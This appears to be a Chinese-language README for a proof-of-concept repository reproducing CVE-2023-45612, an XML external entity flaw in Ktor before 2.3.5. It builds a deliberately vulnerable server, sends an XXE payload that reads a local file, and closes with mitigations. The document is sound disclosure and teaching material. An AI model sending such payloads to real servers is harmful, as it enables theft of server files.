本仓库包含一个存在漏洞的 Ktor 服务器,用于演示 CVE-2023-45612 中识别的 XML 外部实体 (XXE) 注入漏洞。
该漏洞存在于 2.3.5 之前的 Ktor 版本中,当 ContentNegotiation 插件与默认的 xml() 序列化器一起使用时。默认的 XML 解析器未配置为防止外部实体的解析,从而允许攻击者读取服务器上的任意文件。
以下部分是在您自己环境中重现该漏洞利用的步骤。
我在本 PoC 中使用的版本:
在 IntelliJ IDEA 中创建一个使用 Netty 引擎、Gradle Kotlin 和 Ktor 版本 2.3.4(或更早版本)的 Ktor 项目。
在 build.gradle.kts 中,您需要引入以下插件:
kotlin("plugin.serialization") version "2.2.20"
以及这些依赖;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt 应包含用于启动服务器的主函数和用于配置服务器的 module() 函数。默认情况下,xml() 函数初始化的 XML 解析器允许外部实体处理。
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt 应定义接收并解析恶意 XML 的端点。
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
构建应用程序并启动服务器。
./gradlew build
./gradlew run
要测试端点,请创建一个名为 hello_message.xml 的 XML 文件。
<Message>
<message>Hello, world!</message>
</Message>
您可以使用以下 curl 命令(在 Windows 上)执行它:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
如果成功,您应该会收到以下消息:
Message received: Hello, world!
创建一个包含一些文本的 secret_file.txt 文件。其中的信息是我们希望通过漏洞利用获取的内容。
创建一个名为 exploit_message.xml 的文件。其内容应定义一个外部实体 &xxe;,对应 secret_file.txt 文件的内容,然后在 <message> 标签中使用该实体。
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
在运行中的服务器上执行以下 curl 命令(在 Windows 上):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
服务器将读取 secret_file.txt 文件,并将其内容放在 HTTP 响应中返回:
Message received: XXE was a success.
最有效的解决方案是将 Ktor 更新到 2.3.5 或更高版本。这些版本使用了一种安全配置的默认 XML 解析器,默认禁用文档类型定义处理和外部实体,从而直接防止此 XXE 攻击。或者,您也可以手动配置 XML 解析器。
作为额外的防御层,请以纯文本形式读取原始请求体,如果其中包含 <!DOCTYPE 或 <!ENTITY 之类的可疑关键字,则在其到达解析器之前将其拒绝。
此漏洞特定于 XML 解析。如果您的应用程序需求较为灵活,最安全的改动是完全避免使用 XML,改用不具备此类漏洞的格式,例如 JSON。
通过检查您的库是否存在已知漏洞并测试您的应用程序是否存在常见漏洞利用,主动寻找安全缺陷。